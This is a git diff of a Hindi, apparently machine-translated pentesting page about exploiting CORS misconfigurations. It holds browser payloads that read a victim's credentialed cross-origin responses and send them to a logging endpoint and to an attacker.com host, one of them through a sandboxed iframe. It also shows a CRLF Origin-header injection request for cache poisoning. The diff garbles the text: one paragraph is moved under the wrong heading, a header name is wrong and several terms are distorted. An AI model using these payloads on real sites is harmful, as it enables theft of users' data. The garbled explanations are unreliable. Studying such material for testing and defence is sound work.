diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md
index c18ddc898..2e05fc32b 100644
--- a/pentesting-web/cors-bypass.md
+++ b/pentesting-web/cors-bypass.md
@@ -16,13 +16,13 @@ HackTricks का समर्थन करने के अन्य तरी
 
 ## CORS क्या है?
 
-क्रॉस-ऑरिजिन रिसोर्स शेयरिंग (CORS) मानक **सर्वरों को उनके एसेट्स तक कौन पहुंच सकता है** और **बाहरी स्रोतों से कौन से HTTP अनुरोध विधियाँ परमिट की जा सकती हैं** को परिभाषित करने की अनुमति देता है।
+Cross-Origin Resource Sharing (CORS) मानक **सर्वरों को उनके संपत्तियों तक कौन पहुंच सकता है** और **किस HTTP अनुरोध विधियों की अनुमति है** यह परिभाषित करने की अनुमति देता है।
 
-एक **समान-उत्पत्ति** नीति एक नियम है जो कहता है कि एक **सर्वर जो** एक संसाधन का अनुरोध कर रहा है और संसाधन को **होस्ट करने वाला सर्वर** एक ही प्रोटोकॉल (जैसे, `http://`), डोमेन नाम (जैसे, `internal-web.com`), और **पोर्ट** (जैसे, 80) साझा करते हों। इस नीति के तहत, केवल वेब पेज जो एक ही डोमेन और पोर्ट से हैं, उन्हें संसाधनों तक पहुंचने की अनुमति है।
+एक **समान-मूल** नीति एक ऐसी **सर्वर को अनुरोध करने** की अनुमति देती है जो संपत्ति को होस्ट कर रहा है **साझा प्रोटोकॉल (जैसे, `http://`), डोमेन नाम (जैसे, `internal-web.com`), और पोर्ट (जैसे, 80)** को साझा करता है। इस नीति के तहत, केवल वेब पृष्ठ जिनका डोमेन और पोर्ट समान हैं को संपत्तियों तक पहुंचने की अनुमति है।
 
-`http://normal-website.com/example/example.html` के संदर्भ में समान-उत्पत्ति नीति का अनुपालन निम्नलिखित रूप में है:
+`http://normal-website.com/example/example.html` के संदर्भ में समान-मूल नीति का अनुपालन निम्नलिखित रूप में है:
 
-| एक्सेस किया गया URL                      | एक्सेस की अनुमति?                       |
+| URL तक पहुंचा गया                     | पहुंच की अनुमति?                       |
 | ----------------------------------------- | --------------------------------------- |
 | `http://normal-website.com/example/`      | हाँ: एकसमान योजना, डोमेन, और पोर्ट |
 | `http://normal-website.com/example2/`     | हाँ: एकसमान योजना, डोमेन, और पोर्ट |
@@ -31,17 +31,17 @@ HackTricks का समर्थन करने के अन्य तरी
 | `http://www.normal-website.com/example/`  | नहीं: विभिन्न डोमेन                    |
 | `http://normal-website.com:8080/example/` | नहीं: विभिन्न पोर्ट\*                    |
 
-\*इंटरनेट एक्सप्लोरर समान-उत्पत्ति नीति को प्रवर्तित करते समय पोर्ट नंबर को नजरअंदाज करता है, इसलिए यह पहुंच की अनुमति देता है।
+\*इंटरनेट एक्सप्लोरर समान-मूल नीति को प्रवर्तित करते समय पोर्ट नंबर को नजरअंदाज करता है, इसलिए यह पहुंच की अनुमति देता है।
 
 ### `Access-Control-Allow-Origin` हेडर
 
-यह हेडर **कई मूल्यों**, एक **`null`** मान, या वाइल्डकार्ड **`*`** की अनुमति दे सकता है। हालांकि, **कोई भी ब्राउज़र कई मूल्यों का समर्थन नहीं करता**, और वाइल्डकार्ड `*` का उपयोग **सीमाओं** के अधीन है। (वाइल्डकार्ड केवल अकेले उपयोग किया जाना चाहिए, और इसका उपयोग `Access-Control-Allow-Credentials: true` के साथ नहीं किया जा सकता है।)
+यह हेडर **कई मूल्यों की अनुमति** दे सकता है, एक **`null`** मूल्य, या एक वाइल्डकार्ड **`*`**। हालांकि, **कोई भी ब्राउज़र कई मूल्यों का समर्थन नहीं करता**, और वाइल्डकार्ड `*` का उपयोग **सीमाओं** के अधीन है। (वाइल्डकार्ड केवल अकेले उपयोग किया जाना चाहिए, और इसका उपयोग `Access-Control-Allow-Credentials: true` के साथ नहीं किया जा सकता है।)
 
-यह हेडर **सर्वर द्वारा जारी** किया जाता है एक क्रॉस-डोमेन संसाधन अनुरोध का प्रतिसाद देने के लिए जिसे एक वेबसाइट ने प्रारंभ किया है, जिसमें ब्राउज़र स्वचालित रूप से एक `Origin` हेडर जोड़ता है।
+यह हेडर **सर्वर द्वारा जारी** किया जाता है एक वेबसाइट द्वारा प्रारंभित एक क्रॉस-डोमेन संपत्ति अनुरोध के प्रतिसाद में, जिसमें ब्राउज़र स्वचालित रूप से एक `Origin` हेडर जोड़ता है।
 
 ### `Access-Control-Allow-Credentials` हेडर
 
-**डिफ़ॉल्ट** रूप से, क्रॉस-ऑरिजिन अनुरोध कुकीज़ या ऑथराइजेशन हेडर जैसे क्रेडेंशियल के बिना किए जाते हैं। फिर भी, जब क्रॉस-डोमेन सर्वर क्रेडेंशियल भेजते हैं, तो `Access-Control-Allow-Credentials` हेडर को **`true`** पर सेट करके उत्तर की पठनीयता की अनुमति दे सकता है।
+**डिफ़ॉल्ट** रूप से, क्रॉस-मूल्य अनुरोध कुकीज़ या ऑथराइजेशन हेडर जैसे क्रेडेंशियल के बिना किए जाते हैं। फिर भी, जब क्रेडेंशियल भेजे जाते हैं तो क्रॉस-डोमेन सर्वर `Access-Control-Allow-Credentials` हेडर को **`true`** पर सेट करके प्रतिक्रिया को पढ़ने की अनुमति दे सकता है।
 
 अगर `true` पर सेट किया जाता है, तो ब्राउज़र क्रेडेंशियल (कुकीज़, ऑथराइजेशन हेडर, या TLS क्लाइंट सर्टिफिकेट) प्रेषित करेगा।
 ```javascript
@@ -72,9 +72,15 @@ xhr.send('<person><name>Arun</name></person>');
 ```
 ### CSRF पूर्व-उड़ान अनुरोध
 
-### पार-डोमेन संचार में पूर्व-उड़ान अनुरोध को समझना
+### पार-डोमेन संचार में पूर्व-उड़ान अनुरोध की समझ
 
-विशेष परिस्थितियों के तहत पार-डोमेन अनुरोध प्रारंभ करते समय, जैसे कि **सामान्य HTTP विधि का उपयोग न करना** (HEAD, GET, POST के अलावा कुछ भी), नए **हेडर** शामिल करना, या विशेष **Content-Type हेडर मान** का उपयोग करना, तो एक पूर्व-उड़ान अनुरोध की आवश्यकता हो सकती है। यह प्रारंभिक अनुरोध, **`OPTIONS`** विधि का उपयोग करते हुए, सर्वर को आगामी पार-स्रोत अनुरोध की इच्छाओं की सूचना देने के लिए होता है, जिसमें उपयोग करने वाली HTTP विध
+विशेष परिस्थितियों के तहत पार-डोमेन अनुरोध प्रारंभ करते समय, जैसे कि **गैर-मानक HTTP विधि** (HEAD, GET, POST के अलावा कुछ भी), नए **हेडर** शामिल करना, या विशेष **Content-Type हेडर मान** का उपयोग करना, तो एक पूर्व-उड़ान अनुरोध की आवश्यकता हो सकती है। यह प्रारंभिक अनुरोध, **`OPTIONS`** विधि का उपयोग करते हुए, सर्वर को आगामी पार-स्रोत अनुरोध की इच्छाओं की सूचना देने के लिए होता है, जिसमें उपयोग करने वाली HTTP विधियाँ और हेडर शामिल हैं।
+
+**क्रॉस-उत्सर्जन संसाधन साझेदारी (CORS)** प्रोटोकॉल इस पूर्व-उड़ान जांच को अनिवार्य बनाता है ताकि अनुरोधित पार-स्रोत कार्रवाई की संभावना का निर्धारण कर सके, जिसमें स्वीकृत विधियाँ, हेडर और मूल्यांकन की विश्वसनीयता की जांच की जाती है। पूर्व-उड़ान अनुरोध की आवश्यकता से बचने के लिए कौन-कौन सी परिस्थितियाँ हैं, उसके लिए [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) द्वारा प्रदान की गई व्यापक गाइड का संदर्भ दें।
+
+यह महत्वपूर्ण है कि **पूर्व-उड़ान अनुरोध की अनुपस्थिति जवाब में प्राधिकरण हेडर ले जाने की आवश्यकता को नहीं खारिज करती**। इन हेडर्स के बिना, ब्राउज़र को पार-स्रोत अनुरोध से प्रतिक्रिया प्रसंस्करण करने में असमर्थ हो जाता है।
+
+`PUT` विधि का उपयोग करने और `Special-Request-Header` नामक एक कस्टम हेडर का उपयोग करने के लिए एक पूर्व-उड़ान अनुरोध का निमायत चित्रण ध्यान में रखें:
 ```
 OPTIONS /info HTTP/1.1
 Host: example2.com
@@ -83,7 +89,7 @@ Origin: https://example.com
 Access-Control-Request-Method: POST
 Access-Control-Request-Headers: Authorization
 ```
-जवाब में, सर्वर स्वीकृत मेथड को दर्शाने वाले हेडर्स, अनुमति प्रारंभ और अन्य CORS नीति विवरण देने के लिए हो सकता है, जैसा नीचे दिखाया गया है:
+जवाब में, सर्वर स्वीकृत मेथड की सूचना, अनुमति प्रारंभ, और अन्य CORS नीति विवरण दिखा सकता है, जैसा नीचे दिखाया गया है:
 ```markdown
 HTTP/1.1 204 No Content
 ...
@@ -93,12 +99,22 @@ Access-Control-Allow-Headers: Authorization
 Access-Control-Allow-Credentials: true
 Access-Control-Max-Age: 240
 ```
-* **`Access-Control-Allow-Headers`**: यह हेडर निर्दिष्ट करता है कि वास्तविक अनुरोध के दौरान कौन से हेडर्स का उपयोग किया जा सकता है। यह सर्वर द्वारा सेट किया जाता है ताकि उससे स्पष्ट हो कि क्लाइंट से अनुरोधों में कौन से हेडर्स अनुमति दी जा रही है।
-* **`Access-Control-Expose-Headers`**: इस हेडर के माध्यम से, सर्वर क्लाइंट को सूचित करता है कि कौन से हेडर्स को साधारित प्रतिक्रिया के हिस्से के रूप में उजागर किया जा सकता है।
-* **`Access-Control-Max-Age`**: यह हेडर दर्शाता है कि पूर्व-उड़ान अनुरोध के परिणाम को कितनी देर तक कैश किया जा सकता है। सर्वर उस सबसे अधिक समय को सेट करता है, सेकंड में, जिसके द्वारा पूर्व-उड़ान अनुरोध द्वारा वापस दी गई जानकारी का पुनः उपयोग किया जा सकता है।
-* **`Access-Control-Request-Headers`**: पूर्व-उड़ान अनुरोधों में उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा सेट किया जाता है ताकि सर्वर को सूचित करें कि वास्तविक अनुरोध में कौन से HTTP हेडर्स क्लाइंट उपयोग करना चाहता है।
-* **`Access-Control-Request-Method`**: यह हेडर, पूर्व-उड़ान अनुरोधों में भी उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा सेट किया जाता है ताकि वास्तविक अनुरोध में कौन सा HTTP विधि उपयोग किया जाएगा, इसका संकेत देने के लिए।
-* **`Origin`**: यह हेडर ब्राउज़र द्वारा स्वचालित रूप से सेट किया जाता है और पार-मूल संवाद की मूल स्थान को दर्शाता है। यह सर्वर द्वारा उपयोग किया जाता है ताकि आगंतुक के आगमन अनुरोध को यह निर्धारित करने के लिए कि क्या आने वाला अनुरोध अनुमति देना चाहिए या इसे नकारना चाहिए, CORS नीति के आधार पर।
+* **`Access-Control-Allow-Headers`**: यह हेडर निर्दिष्ट करता है कि वास्तविक अनुरोध के दौरान कौन से हेडर्स का उपयोग किया जा सकता है। यह सर्वर द्वारा सेट किया जाता है ताकि उससे स्पष्ट हो कि क्लाइंट से अनुरोधों में कौन से हेडर्स अनुमति दी जाती है।
+* **`Access-Control-Expose-Headers`**: इस हेडर के माध्यम से, सर्वर क्लाइंट को सूचित करता है कि कौन से हेडर्स को साधारित प्रतिक्रिया के हिस्से के रूप में प्रकट किया जा सकता है।
+* **`Access-Control-Max-Age`**: यह हेडर यह दर्शाता है कि पूर्व-उड़ान अनुरोध के परिणाम को कितनी देर तक कैश किया जा सकता है। सर्वर उस सबसे अधिक समय को सेट करता है, सेकंड में, जिसके द्वारा पूर्व-उड़ान अनुरोध द्वारा वापस दी गई जानकारी का पुनः उपयोग किया जा सकता है।
+* **`Access-Control-Request-Headers`**: पूर्व-उड़ान अनुरोधों में उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा वास्तविक अनुरोध में कौन से HTTP हेडर्स का उपयोग करना चाहता है, उसे सर्वर को सूचित करने के लिए सेट किया जाता है।
+* **`Access-Control-Request-Method`**: यह हेडर, पूर्व-उड़ान अनुरोधों में भी उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा वास्तविक अनुरोध में कौन सा HTTP विधि उपयोग किया जाएगा, इसे सेट करने के लिए।
+* **`Origin`**: यह हेडर ब्राउज़र द्वारा स्वचालित रूप से सेट किया जाता है और पार-मूल में अनुरोध के मूल को दर्शाता है। यह सर्वर द्वारा उपयोग किया जाता है ताकि आगंतुक के आगमन को मूल्यांकन करें कि क्या आने वाला अनुरोध अनुमति दी जानी चाहिए या नहीं, CORS नीति के आधार पर।
+
+कृपया ध्यान दें कि सामाग्री-प्रकार और हेडर सेट करने के आधार पर आम तौर पर **GET/POST अनुरोध भेजा जाता है** (अनुरोध **सीधे** भेजा जाता है), लेकिन यदि आप **प्रतिक्रिया के हेडर्स/शरीर तक पहुंचना चाहते हैं**, तो इसमें एक _Access-Control-Allow-Origin_ हेडर शामिल होना चाहिए।\
+**इसलिए, CORS CSRF के खिलाफ सुरक्षा उपाय नहीं है (लेकिन यह सहायक हो सकता है)**.
+
+### **स्थानीय नेटवर्क अनुरोध पूर्व-उड़ान अनुरोध**
+
+1. **`Access-Control-Request-Local-Network`**: यह हेडर क्लाइंट के अनुरोध में शामिल किया जाता है ताकि संदेश दिया जा सके कि जांच एक स्थानीय नेटवर्क संसाधन की ओर है। यह सर्वर को सूचित करने के लिए एक मार्कर के रूप में काम करता है कि अनुरोध स्थानीय नेटवर्क से उत्पन्न है।
+2. **`Access-Control-Allow-Local-Network`**: प्रतिक्रिया में, सर्वर इस हेडर का उपयोग करता है ताकि संबंधित संसाधन को स्थानीय नेटवर्क के बाहरी इकाइयों के साथ साझा किया जा सके। यह विभिन्न नेटवर्क सीमाओं के बाहर संसाधनों को साझा करने के लिए हरी झंडी के रूप में काम करता है, सुरक्षा प्रोटोकॉल बनाए रखते हुए।
+
+**स्थानीय नेटवर्क अनुरोध को अनुमति देने वाला एक वैध प्रतिक्रिया** में भी होना चाहिए जिसमें प्रतिक्रिया में हेडर `Access-Controls-Allow-Local_network: true` भी होना चाहिए:
 ```
 HTTP/1.1 200 OK
 ...
@@ -110,22 +126,22 @@ Content-Length: 0
 ...
 ```
 {% hint style="warning" %}
-ध्यान दें कि लिनक्स **0.0.0.0** आईपी लोकलहोस्ट तक पहुंचने के लिए ये आवश्यकताओं को **बाइपास** करने के लिए काम करता है क्योंकि इस आईपी पते को "स्थानीय" नहीं माना जाता है।
+ध्यान दें कि लिनक्स **0.0.0.0** आईपी इन आवश्यकताओं को दूर करने के लिए काम करता है ताकि localhost तक पहुंचा जा सके क्योंकि यह आईपी पता "स्थानीय" नहीं माना जाता है।
 
-यदि आप **स्थानीय नेटवर्क आवश्यकताओं को बाइपास** करना चाहते हैं तो एक स्थानीय अंत पुंज का **सार्वजनिक आईपी पता** (जैसे राउटर का सार्वजनिक आईपी) उपयोग करें। क्योंकि कई अवस्थाओं में, यदि **सार्वजनिक आईपी** तक पहुंचा जा रहा है, और यह **स्थानीय नेटवर्क** से है, तो पहुंच मिल जाएगी।
+यह भी संभव है कि यदि आप किसी स्थानीय अंतबिंदु (जैसे राउटर का सार्वजनिक आईपी) का सार्वजनिक आईपी पता उपयोग करते हैं तो **स्थानीय नेटवर्क आवश्यकताओं को दूर करना** संभव है। क्योंकि कई अवस्थाओं में, यदि **सार्वजनिक आईपी** तक पहुंचा जा रहा है, तो यदि यह **स्थानीय नेटवर्क** से है, पहुंच प्रदान की जाएगी।
 {% endhint %}
 
-## एक्सप्लोइटेबल मिसकॉन्फ़िगरेशन
+## शोधनीय गलतियाँ
 
-यह देखा गया है कि `Access-Control-Allow-Credentials` को **`true`** पर सेट करना अधिकांश **वास्तविक हमलों** के लिए आवश्यक है। यह सेटिंग ब्राउज़र को क्रेडेंशियल भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, हमले की प्रभावकारिता बढ़ाती है। इसके बिना, ब्राउज़र को अनुरोध जारी करने की बजाय खुद से करने का लाभ कम हो जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का उपयोग करना असंभव हो जाता है।
+यह देखा गया है कि `Access-Control-Allow-Credentials` को **`true`** पर सेट करना अधिकांश **वास्तविक हमलों** के लिए आवश्यक है। यह सेटिंग ब्राउज़र को क्रेडेंशियल भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, हमले की प्रभावकारिता को बढ़ाती है। इसके बिना, ब्राउज़र को अनुरोध जारी करने की बजाय खुद से करने का लाभ कम हो जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का उपयोग करना असंभव हो जाता है।
 
 ### अपवाद: प्रमाणीकरण के रूप में नेटवर्क स्थान का शोषण
 
-एक अपवाद है जहां पीड़ित का नेटवर्क स्थान प्रमाणीकरण के रूप में काम करता है। इससे पीड़ित के ब्राउज़र का उपयोग प्रॉक्सी के रूप में किया जा सकता है, आईपी-आधारित प्रमाणीकरण को दुरुपयोग करने के लिए इंट्रानेट एप्लिकेशन तक पहुंचने के लिए। यह विधि DNS रिबाइंडिंग के साथ समान प्रभाव को साझा करती है, लेकिन इसे एक्सप्लॉइट करना सरल है।
+एक अपवाद मौजूद है जहां पीड़ित का नेटवर्क स्थान प्रमाणीकरण के रूप में काम करता है। इससे पीड़ित का ब्राउज़र एक प्रॉक्सी के रूप में उपयोग किया जा सकता है, आईपी-आधारित प्रमाणीकरण को दौर करने के लिए इंट्रानेट एप्लिकेशन तक पहुंचने के लिए। यह विधि DNS रिबाइंडिंग के साथ समान प्रभाव को साझा करती है लेकिन इसे शोषण करना सरल है।
 
 ### `Access-Control-Allow-Origin` में `Origin` का प्रतिबिम्ब
 
-वास्तविक दुनियावी स्थिति जहां `Origin` हेडर का मान `Access-Control-Allow-Origin` में प्रतिबिम्बित होने की संभावना सिद्धांतात्मक रूप से असंभव है क्योंकि इन हेडर्स को मिलाने पर प्रतिबंध है। हालांकि, यदि डेवलपर्स CORS को कई URL के लिए सक्षम करना चाहते हैं तो `Origin` हेडर के मान की प्रतिलिपि बनाकर `Access-Control-Allow-Origin` हेडर को डायनामिक रूप से उत्पन्न कर सकते हैं। यह दृष्टिकोण दुरुस्तिति तार्क को धोखा देने के लिए एक डोमेन का उपयोग करते हुए एक हमलावर विशेषताएँ ला सकता है।
+वास्तविक दुनियावी स्थिति जहां `Origin` हेडर के मान को `Access-Control-Allow-Origin` में प्रतिबिम्बित किया जाता है सिद्धांतात असंभव है क्योंकि इन हेडर्स को मिलान करने पर प्रतिबंध है। हालांकि, यदि विकासक विभिन्न URL के लिए CORS सक्षम करना चाहते हैं तो `Access-Control-Allow-Origin` हेडर को `Origin` हेडर के मान की प्रतियोगिता द्वारा उत्पन्न कर सकते हैं। यह दृष्टिकोण दुरुपयोग ला सकता है, विशेष रूप से जब एक हमलावर एक डोमेन का उपयोग करता है जिसे वैध लगने के लिए डिज़ाइन किया गया है, असलीकरण तर्क को धोखा देता है।
 ```html
 <script>
 var req = new XMLHttpRequest();
@@ -140,7 +156,7 @@ location='/log?key='+this.responseText;
 ```
 ### `null` उत्पत्ति का शोषण
 
-`null` उत्पत्ति, पुनर्निर्देशन या स्थानीय HTML फ़ाइल जैसी स्थितियों के लिए निर्दिष्ट की गई, एक अद्वितीय स्थिति में है। कुछ एप्लिकेशन इस उत्पत्ति को सफलतापूर्वक स्थानीय विकास को सुविधाजनक बनाने के लिए सफेद सूचीबद्ध करते हैं, जिससे किसी भी वेबसाइट को एक सैंडबॉक्स आइफ्रेम के माध्यम से `null` उत्पत्ति का अनुकरण करने की अनुमति मिलती है, जिससे CORS प्रतिबंधों को छलकरना संभव होता है।
+`null` उत्पत्ति, जो पुनर्निर्देशन या स्थानीय HTML फ़ाइल जैसी स्थितियों के लिए निर्दिष्ट की गई है, एक अद्वितीय स्थिति में है। कुछ एप्लिकेशन इस उत्पत्ति को स्थानीय विकास को सुविधाजनक बनाने के लिए सफेद सूचीबद्ध करते हैं, जिससे किसी भी वेबसाइट को एक सैंडबॉक्स आइफ्रेम के माध्यम से `null` उत्पत्ति का अनुकरण करने की अनुमति देते हैं, जिससे CORS प्रतिबंधों को छलना हो जाता है।
 ```html
 <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
 var req = new XMLHttpRequest();
@@ -168,11 +184,11 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
 ```
 ### नियमित अभिव्यक्ति बायपास तकनीक
 
-जब डोमेन व्हाइटलिस्ट का सामना हो, तो महत्वपूर्ण है कि बायपास अवसरों का परीक्षण किया जाए, जैसे कि हमलावर के डोमेन को एक व्हाइटलिस्टेड डोमेन के साथ जोड़ना या सबडोमेन लेने की कमजोरी का उपयोग करना। इसके अतिरिक्त, डोमेन मान्यता के लिए उपयोग किए जाने वाले नियमित अभिव्यक्तियों में डोमेन नामकरण के नियमों में छोटी-छोटी बातों को नजरअंदाज कर सकते हैं, जिससे और बायपास अवसर प्रस्तुत हो सकते हैं।
+जब डोमेन व्हाइटलिस्ट का सामना हो, तो हमें हमलावर के डोमेन को एक व्हाइटलिस्टेड डोमेन के अंत में जोड़ने या सबडोमेन ताबदीली की कमियों का उपयोग करने जैसे बायपास अवसरों का परीक्षण करना महत्वपूर्ण है। इसके अतिरिक्त, डोमेन मान्यता के लिए उपयोग किए जाने वाले नियमित अभिव्यक्तियों में डोमेन नामकरण संविधानों में छोटी-छोटी बातों को नजरअंदाज कर सकते हैं, जिससे और भी बायपास अवसर प्रस्तुत हो सकते हैं।
 
 ### उन्नत नियमित अभिव्यक्ति बायपास
 
-रेगेक्स पैटर्न आम तौर पर अल्फान्यूमेरिक, डॉट (.), और हाइफ़न (-) वर्णों पर ध्यान केंद्रित करते हैं, अन्य संभावनाओं को नजरअंदाज करते हैं। उदाहरण के लिए, एक डोमेन नाम जिसमें ब्राउज़र्स और रेगेक्स पैटर्न्स द्वारा अलग-अलग अनुभागित वर्ण शामिल हो सकते हैं, सुरक्षा जांचों को बायपास कर सकता है। सफारी, क्रोम, और फ़ायरफ़ॉक्स के अंडरस्कोर वर्णों का सबडोमेन में व्याख्या कैसे किया जाता है, यह दिखाता है कि ऐसी विसंगतियों का उपयोग करके डोमेन मान्यता तर्क को घुमाने के लिए उत्पादित किया जा सकता है।
+रेगेक्स पैटर्न आम तौर पर अल्फान्यूमेरिक, डॉट (.), और हाइफ़न (-) वर्णों पर ध्यान केंद्रित करते हैं, अन्य संभावनाओं को नजरअंदाज करते हैं। उदाहरण के लिए, ब्राउज़र्स और रेगेक्स पैटर्न्स द्वारा अलग-अलग अनुप्रयोग किए जाने वाले वर्णों को शामिल करने वाले एक डोमेन नाम सुरक्षा जांचों को छलने के लिए उपयोग किया जा सकता है। सफारी, क्रोम, और फ़ायरफ़ॉक्स के अंडरस्कोर वर्णों का सबडोमेन में व्याख्या कैसे करते हैं, इससे ऐसी विसंगतियों का उदाहरण देता है जिन्हें डोमेन मान्यता तर्क को घुमाने के लिए उत्पादित किया जा सकता है।
 
 **इस बायपास जांच की अधिक जानकारी और सेटिंग के लिए:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **और** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
 
@@ -180,7 +196,7 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
 
 ### सबडोमेन के अंदर XSS से
 
-डेवलपर्स अक्सर CORS शोषण से बचाव के लिए संरक्षात्मक उपाय लागू करते हैं, जिसमें जानकारी अनुरोध करने की अनुमति दी जाने वाली डोमेनों को व्हाइटलिस्ट किया जाता है। इन सावधानियों के बावजूद, सिस्टम की सुरक्षा पूरी तरह से सुरक्षित नहीं है। व्हाइटलिस्टेड डोमेन्स में एक ही कमजोर सबडोमेन की मौजूदगी, CORS शोषण के द्वारा अन्य सुरक्षा दुरुपयोग, जैसे कि XSS (क्रॉस-साइट स्क्रिप्टिंग), के माध्यम से दरवाजा खोल सकती है।
+डेवलपर्स अक्सर CORS शोषण के खिलाफ सुरक्षात्मक उपाय लागू करते हैं जिसमें जानकारी का अनुरोध करने की अनुमति दी गई डोमेन को व्हाइटलिस्ट करके सुरक्षित रखने के लिए। इन सावधानियों के बावजूद, सिस्टम की सुरक्षा पूरी तरह से सुरक्षित नहीं है। व्हाइटलिस्टेड डोमेन्स में एक भी विकल्पशील सबडोमेन की मौजूदगी CORS शोषण के लिए दरवाजा खोल सकती है, जैसे कि XSS (क्रॉस-साइट स्क्रिप्टिंग) जैसी अन्य विकल्पशीलताओं के माध्यम से।
 
 उदाहरण के लिए, एक स्थिति को विचार करें जहां एक डोमेन, `requester.com`, को दूसरे डोमेन, `provider.com`, से संसाधनों तक पहुंचने की अनुमति है। सर्वर-साइड कॉन्फ़िगरेशन कुछ इस प्रकार दिख सकती है:
 ```javascript
@@ -190,15 +206,11 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
 // Unauthorized access
 }
 ```
-इस सेटअप में, `requester.com` के सभी सबडोमेन को पहुंच दी गई है। हालांकि, यदि कोई सबडोमेन, मान लीजिए `sub.requester.com`, XSS वंलरेबिलिटी के साथ कंप्रोमाइज हो जाता है, तो एक हमलावर इस कमजोरी का लाभ उठा सकता है। उदाहरण के लिए, `sub.requester.com` तक पहुंच वाले एक हमलावर XSS वंलरेबिलिटी का शोषण कर सकता है ताकि CORS नीतियों को अनदेखा करके `provider.com` पर संसारिक रूप से पहुंच प्राप्त कर सके।
-
 ### **सर्वर-साइड कैश पॉइज़निंग**
 
-[**इस शोध से**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
+[**इस अनुसंधान से**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
 
-यह संभावना है कि HTTP हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश पॉइज़निंग का शोषण करके, एक स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग (XSS) वंलरेबिलिटी उत्पन्न की जा सकती है। यह स्थिति उत्पन्न होती है जब एक एप्लिकेशन `Origin` हेडर को अवैध वर्णों के लिए सैनिटाइज़ नहीं करता, खासकर इंटरनेट एक्सप्लोरर और एज उपयोगकर्ताओं के लिए एक वंलरेबिलिटी उत्पन्न करता है। ये ब्राउज़र (0x0d) को एक वैध HTTP हेडर टर्मिनेटर के रूप में देखते हैं, जिससे HTTP हेडर इंजेक्शन वंलरेबिलिटी उत्पन्न होती है।
-
-निम्नलिखित अनुरोध को ध्यान से देखें जहां `Origin` हेडर को मैनिपुलेट किया गया है:
+यह संयोजन में, `requester.com` के सभी सबडोमेन की पहुंच अनुमति है। हालांकि, यदि कोई सबडोमेन, मान लीजिए `sub.requester.com`, एक XSS वंलरेबिलिटी के साथ कंप्रोमाइज़ हो जाता है, तो एक हमलावर इस कमजोरी का उपयोग कर सकता है। उदाहरण के लिए, `sub.requester.com` तक पहुंच वाले एक हमलावर XSS वंलरेबिलिटी का शोषण कर सकता है ताकि CORS नीतियों को अनदेखा करके `provider.com` पर संसाधनों तक दुरुपयोग कर सके।
 ```
 GET / HTTP/1.1
 Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
@@ -209,21 +221,21 @@ HTTP/1.1 200 OK
 Access-Control-Allow-Origin: z
 Content-Type: text/html; charset=UTF-7
 ```
-इस दुरुपयोगिता को सीधे इस दुरुपयोगिता को एक वेब ब्राउज़र द्वारा एक अविकल्पित हेडर भेजने के द्वारा नहीं उत्पन्न किया जा सकता है, लेकिन एक तैयार अनुरोध को बर्प सुइट जैसे उपकरणों का उपयोग करके मैन्युअल रूप से उत्पन्न किया जा सकता है। यह विधि एक सर्वर-साइड कैश को उत्तेजित कर सकती है जो प्रतिक्रिया को सहेज सकती है और अनजाने में इसे अन्यों को सेवा कर सकती है। तैयार किया गया पेलोड पृष्ठ के वर्ण सेट को बदलने का लक्ष्य रखता है UTF-7, एक वर्ण संकोड़न जो कुछ संदर्भों में स्क्रिप्ट के रूप में क्रियान्वित किया जा सकने वाले वर्णों को संकोड़ित करने की क्षमता के कारण एक्सएसएस दुरुपयोगिताओं से अक्सर जुड़ा जाता है।
+इस दुरुपयोगिता को सीधे उत्पीड़ित करना एक वेब ब्राउज़र को एक अशुद्ध हेडर भेजने के द्वारा संभव नहीं है, लेकिन एक तैयार किया गया अनुरोध उपकरणों जैसे बर्प सुइट का उपयोग करके मैन्युअल रूप से उत्पन्न किया जा सकता है। यह विधि एक सर्वर-साइड कैश को उत्तेजित कर सकती है जो प्रतिक्रिया को सहेज सकती है और अनजाने में इसे दूसरों को सेवा कर सकती है। तैयार किया गया पेलोड पृष्ठ के वर्ण सेट को UTF-7 में बदलने का उद्देश्य रखता है, जो किसी विशेष संदर्भ में स्क्रिप्ट के रूप में क्रियान्वित किया जा सकने वाले वर्णों को एन्कोड करने की क्षमता के कारण XSS जोखिमों से अक्सर जुड़ा जाता है।
 
-भविष्य में पढ़ने के लिए स्टोर्ड एक्सएसएस दुरुपयोगिताओं पर, [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored) देखें।
+स्टोर्ड XSS जोखिमों पर अधिक पठन के लिए, [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored) देखें।
 
-**ध्यान दें**: HTTP हेडर अंजाम दुरुपयोगिताओं का उत्पादन, विशेष रूप से सर्वर-साइड कैश पॉइज़निंग के माध्यम से, सभी उपयोगकर्ता द्वारा प्रदत्त इनपुट, समेत HTTP हेडर, की मान्यता और शुद्धिकरण के महत्व को दर्शाता है। हमेशा एक मजबूत सुरक्षा मॉडल का उपयोग करें जिसमें इनपुट मान्यता शामिल होती है ताकि ऐसी दुरुपयोगिताओं को रोकने के लिए।
